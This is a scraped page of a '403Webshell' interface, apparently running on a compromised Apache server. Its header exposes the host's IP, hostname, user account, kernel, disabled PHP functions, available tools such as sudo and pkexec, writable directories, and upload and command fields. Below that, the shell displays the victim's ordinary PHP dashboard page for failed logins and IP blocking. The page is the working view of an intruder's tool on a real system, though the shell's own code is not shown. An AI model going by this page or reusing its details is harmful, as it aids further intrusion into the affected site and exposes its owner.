403Webshell
Server IP : 213.255.246.8  /  Your IP : 216.73.217.2
Web Server : Apache
System : Linux dublin.stapolin.com 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
User : stapolin ( 1019)
PHP Version : 8.4.24
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stapolin/public_html/dash.stapolin.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/stapolin/public_html/dash.stapolin.com/failed-logins.php
<?php
/**
 * Failed Logins Page
 * Lists failed_login records from st_activity (Users); option to add selected IPs to st_blocked_ip, filter by website, delete entries.
 */

require_once __DIR__ . '/includes/functions.php';
require_once __DIR__ . '/includes/auth.php';
requireLogin();

$blockMessage = '';
$blockError = '';
$filterWebsiteId = isset($_GET['website_id']) ? (int) $_GET['website_id'] : null;
if ($filterWebsiteId === 0) {
    $filterWebsiteId = null;
}

// Handle delete action first so we can redirect before any output (headers not yet sent)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['delete_entries_submit'])) {
    if (verifyCsrfToken($_POST['csrf_token'] ?? '')) {
        $toBlock = isset($_POST['to_block']) && is_array($_POST['to_block']) ? $_POST['to_block'] : [];
        $db = getDb();
        $deleted = 0;
        foreach ($toBlock as $value) {
            $data = json_decode($value, true);
            if (!is_array($data) || !isset($data['website_id'], $data['histid'])) {
                continue;
            }
            $wid = (int) $data['website_id'];
            $hid = (int) $data['histid'];
            if ($wid > 0 && $hid > 0) {
                $deleted += $db->execute('DELETE FROM st_activity WHERE object_type = ? AND website_id = ? AND histid = ? AND LOWER(action) = ?', ['Users', $wid, $hid, 'failed_login']);
            }
        }
        if ($deleted > 0) {
            $redirectUrl = 'failed-logins.php?deleted=' . $deleted;
            if (!empty($_POST['filter_website_id'])) {
                $redirectUrl .= '&website_id=' . (int) $_POST['filter_website_id'];
            }
            header('Location: ' . $redirectUrl);
            exit;
        }
    } else {
        $blockError = 'Invalid request. Please try again.';
    }
}

// Handle add-to-blocked action (POST with CSRF)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['add_to_blocked'])) {
    if (!verifyCsrfToken($_POST['csrf_token'] ?? '')) {
        $blockError = 'Invalid request. Please try again.';
    } else {
        $toBlock = isset($_POST['to_block']) && is_array($_POST['to_block']) ? $_POST['to_block'] : [];
        $added = 0;
        $skipped = 0;
        $db = getDb();
        foreach ($toBlock as $value) {
            $data = json_decode($value, true);
            if (!is_array($data) || empty($data['ip'])) {
                continue;
            }
            $ip = trim($data['ip']);
            $loc = isset($data['loc']) ? trim($data['loc']) : null;
            if ($ip === '') {
                continue;
            }
            // Skip if this IP is already in blocked list
            $exists = $db->fetchOne("SELECT 1 FROM st_blocked_ip WHERE blocked_ip = ?", [$ip]);
            if ($exists) {
                $skipped++;
                continue;
            }
            try {
                $db->insert('st_blocked_ip', [
                    'blocked_ip' => $ip,
                    'blocked_ip_location' => $loc !== '' ? $loc : null,
                    'created_at' => date('Y-m-d H:i:s')
                ]);
                $added++;
                // Remove failed_login records for this IP from st_activity (they've been copied to blocked list)
                $db->execute("DELETE FROM st_activity WHERE object_type = 'Users' AND LOWER(action) = 'failed_login' AND hist_ip = ?", [$ip]);
            } catch (Exception $e) {
                $blockError = 'Error adding IP: ' . $e->getMessage();
                break;
            }
        }
        if ($blockError === '' && ($added > 0 || $skipped > 0)) {
            $parts = [];
            if ($added > 0) {
                $parts[] = $added . ' IP' . ($added !== 1 ? 's' : '') . ' added to blocked list';
            }
            if ($skipped > 0) {
                $parts[] = $skipped . ' already blocked';
            }
            $blockMessage = implode('. ', $parts);
        } elseif ($blockError === '' && empty($toBlock)) {
            $blockError = 'No rows selected.';
        }
    }
}

try {
    $websites = getWebsites();
    $failedLogins = getFailedLogins(500, $filterWebsiteId);
} catch (Exception $e) {
    $websites = [];
    $failedLogins = [];
}

// Success message from redirect after delete
if (isset($_GET['deleted']) && is_numeric($_GET['deleted']) && (int) $_GET['deleted'] > 0) {
    $blockMessage = (int) $_GET['deleted'] . ' record' . ((int) $_GET['deleted'] !== 1 ? 's' : '') . ' deleted.';
}

$filterWebsiteUrl = '';
if ($filterWebsiteId !== null) {
    foreach ($websites as $w) {
        if ((int) $w['website_id'] === $filterWebsiteId) {
            $filterWebsiteUrl = $w['website_url'];
            break;
        }
    }
}

$pageTitle = 'Failed Logins';
require_once __DIR__ . '/includes/header.php';
?>

<!-- Page Header -->
<div class="flex items-center justify-between mb-6">
    <div>
        <p class="text-muted-foreground">Failed login attempts from client sites. Select IPs to add to the blocked list.</p>
    </div>
    <a href="blocked-ips.php" class="btn-secondary px-4 py-2 rounded-md text-sm font-medium flex items-center gap-2">
        <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M18.364 18.364A9 9 0 005.636 5.636m12.728 12.728A9 9 0 015.636 5.636m12.728 12.728L5.636 5.636"/>
        </svg>
        View Blocked IPs
    </a>
</div>

<?php if ($blockMessage): ?>
<div class="mb-6 p-4 rounded-md bg-green-500/10 border border-green-500/20 text-green-600 dark:text-green-400" data-testid="alert-block-success">
    <?= sanitize($blockMessage) ?>
</div>
<?php endif; ?>

<?php if ($blockError): ?>
<div class="mb-6 p-4 rounded-md bg-red-500/10 border border-red-500/20 text-red-600 dark:text-red-400" data-testid="alert-block-error">
    <?= sanitize($blockError) ?>
</div>
<?php endif; ?>

<!-- Website filter -->
<div class="card rounded-lg p-6 mb-6">
    <h2 class="text-lg font-semibold mb-4">Filter by website</h2>
    <form method="GET" class="flex flex-wrap items-end gap-4">
        <div class="min-w-[200px] flex-1">
            <label for="filter_website_id" class="block text-sm font-medium text-muted-foreground mb-1">Website (dropdown)</label>
            <select id="filter_website_id" name="website_id" class="w-full px-3 py-2 rounded-md text-sm">
                <option value="">All websites</option>
                <?php foreach ($websites as $w): ?>
                <option value="<?= (int) $w['website_id'] ?>" <?= $filterWebsiteId === (int) $w['website_id'] ? 'selected' : '' ?>><?= sanitize($w['website_url']) ?></option>
                <?php endforeach; ?>
            </select>
        </div>
        <div class="min-w-[200px] flex-1">
            <label for="filter_website_search" class="block text-sm font-medium text-muted-foreground mb-1">Or type to search</label>
            <input type="text" id="filter_website_search" list="website-datalist" placeholder="Type website URL..."
                   value="<?= sanitize($filterWebsiteUrl) ?>"
                   class="w-full px-3 py-2 rounded-md text-sm" autocomplete="off">
            <datalist id="website-datalist">
                <?php foreach ($websites as $w): ?>
                <option value="<?= sanitize($w['website_url']) ?>">
                <?php endforeach; ?>
            </datalist>
        </div>
        <div class="flex gap-2">
            <button type="submit" class="btn-primary px-4 py-2 rounded-md text-sm font-medium">Apply filter</button>
            <a href="failed-logins.php" class="btn-secondary px-4 py-2 rounded-md text-sm font-medium">Clear</a>
        </div>
    </form>
</div>

<!-- Failed Logins Table -->
<div class="card rounded-lg overflow-hidden">
    <form method="POST" id="failed-logins-form">
        <input type="hidden" name="csrf_token" value="<?= sanitize(generateCsrfToken()) ?>">
        <input type="hidden" name="filter_website_id" value="<?= $filterWebsiteId !== null ? (int) $filterWebsiteId : '' ?>">
        <div class="px-6 py-4 border-b flex items-center justify-between gap-4 flex-wrap">
            <h2 class="text-lg font-semibold">Failed Logins</h2>
            <div class="flex items-center gap-3">
                <span class="text-sm text-muted-foreground"><?= count($failedLogins) ?> record<?= count($failedLogins) !== 1 ? 's' : '' ?></span>
                <button type="submit" name="add_to_blocked" value="1"
                        class="btn-primary px-4 py-2 rounded-md text-sm font-medium flex items-center gap-2"
                        data-testid="button-add-to-blocked">
                    <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M18.364 18.364A9 9 0 005.636 5.636m12.728 12.728A9 9 0 015.636 5.636m12.728 12.728L5.636 5.636"/>
                    </svg>
                    Add selected to blocked list
                </button>
                <button type="submit" name="delete_entries_submit" value="1"
                        class="btn-secondary px-4 py-2 rounded-md text-sm font-medium flex items-center gap-2 text-red-600 dark:text-red-400 hover:bg-red-500/10">
                    <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"/>
                    </svg>
                    Delete selected
                </button>
            </div>
        </div>
        <div class="overflow-x-auto">
            <table class="w-full">
                <thead class="bg-muted/50">
                    <tr>
                        <th class="px-6 py-3 text-left text-xs font-medium text-muted-foreground uppercase tracking-wider w-10">
                            <input type="checkbox" id="select-all-failed" class="rounded border-gray-300" data-testid="checkbox-select-all" title="Select all">
                        </th>
                        <th class="px-6 py-3 text-left text-xs font-medium text-muted-foreground uppercase tracking-wider">Username</th>
                        <th class="px-6 py-3 text-left text-xs font-medium text-muted-foreground uppercase tracking-wider">IP Address</th>
                        <th class="px-6 py-3 text-left text-xs font-medium text-muted-foreground uppercase tracking-wider">Location</th>
                        <th class="px-6 py-3 text-left text-xs font-medium text-muted-foreground uppercase tracking-wider">Website</th>
                        <th class="px-6 py-3 text-left text-xs font-medium text-muted-foreground uppercase tracking-wider">Time</th>
                    </tr>
                </thead>
                <tbody class="divide-y">
                    <?php if (empty($failedLogins)): ?>
                    <tr>
                        <td colspan="6" class="px-6 py-12 text-center text-muted-foreground">
                            <div class="flex flex-col items-center gap-2">
                                <svg class="w-12 h-12 text-muted-foreground/50" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"/>
                                </svg>
                                <p>No failed logins found</p>
                            </div>
                        </td>
                    </tr>
                    <?php else: ?>
                    <?php foreach ($failedLogins as $row): ?>
                    <?php
                    $payload = json_encode([
                        'ip' => $row['hist_ip'] ?? '',
                        'loc' => $row['action_location'] ?? '',
                        'website_id' => (int) ($row['website_id'] ?? 0),
                        'histid' => (int) ($row['histid'] ?? 0)
                    ]);
                    $payloadAttr = sanitize($payload);
                    ?>
                    <tr class="table-row">
                        <td class="px-6 py-4 whitespace-nowrap">
                            <input type="checkbox"
                                   name="to_block[]"
                                   value="<?= $payloadAttr ?>"
                                   class="failed-row-checkbox rounded border-gray-300"
                                   data-testid="checkbox-block-ip">
                        </td>
                        <td class="px-6 py-4 whitespace-nowrap font-medium"><?= sanitize($row['target_username'] ?? '—') ?></td>
                        <td class="px-6 py-4 whitespace-nowrap font-mono text-sm"><?= sanitize($row['hist_ip'] ?? '—') ?></td>
                        <td class="px-6 py-4 whitespace-nowrap text-sm text-muted-foreground"><?= $row['action_location'] !== null && $row['action_location'] !== '' ? sanitize($row['action_location']) : '—' ?></td>
                        <td class="px-6 py-4 text-sm text-muted-foreground"><?= sanitize($row['website_url'] ?? '—') ?></td>
                        <td class="px-6 py-4 whitespace-nowrap text-sm text-muted-foreground"><?= formatDateTime($row['hist_time']) ?></td>
                    </tr>
                    <?php endforeach; ?>
                    <?php endif; ?>
                </tbody>
            </table>
        </div>
    </form>
</div>

<script>
document.addEventListener('DOMContentLoaded', function() {
    var selectAll = document.getElementById('select-all-failed');
    var checkboxes = document.querySelectorAll('.failed-row-checkbox');
    if (selectAll) {
        selectAll.addEventListener('change', function() {
            checkboxes.forEach(function(cb) { cb.checked = selectAll.checked; });
        });
    }
    // Sync "type to search" input to dropdown: when user picks from datalist, set select value
    var filterSearch = document.getElementById('filter_website_search');
    var filterSelect = document.getElementById('filter_website_id');
    if (filterSearch && filterSelect) {
        filterSearch.addEventListener('change', function() {
            var url = this.value.trim();
            for (var i = 0; i < filterSelect.options.length; i++) {
                if (filterSelect.options[i].text === url) {
                    filterSelect.value = filterSelect.options[i].value;
                    return;
                }
            }
            filterSelect.value = '';
        });
    }
    // Confirm before delete
    var form = document.getElementById('failed-logins-form');
    if (form) {
        form.addEventListener('submit', function(e) {
            if (e.submitter && e.submitter.name === 'delete_entries_submit') {
                var checked = document.querySelectorAll('.failed-row-checkbox:checked');
                if (checked.length === 0) {
                    e.preventDefault();
                    alert('Please select at least one entry to delete.');
                    return;
                }
                if (!confirm('Delete ' + checked.length + ' selected record(s)? This cannot be undone.')) {
                    e.preventDefault();
                }
            }
        });
    }
});
</script>

<?php require_once __DIR__ . '/includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit